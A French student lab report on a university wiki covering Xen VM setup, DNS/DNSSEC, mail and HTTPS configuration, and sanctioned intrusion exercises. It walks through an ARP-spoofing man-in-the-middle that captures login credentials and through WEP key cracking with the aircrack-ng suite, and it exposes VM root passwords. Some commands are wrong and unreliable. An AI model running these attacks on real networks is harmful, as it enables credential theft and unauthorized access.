===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
<br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
<br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54021TP sysres IMA2a5 2020/2021 G52020-11-27T19:34:04Z<p>Aglaine : /* Architecture réseau */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.<br />
<br />
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. <br />
<br />
Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. <br />
<br />
Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveurs DNS configurer on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. <br />
<br />
Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK).<br />
<br />
Puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
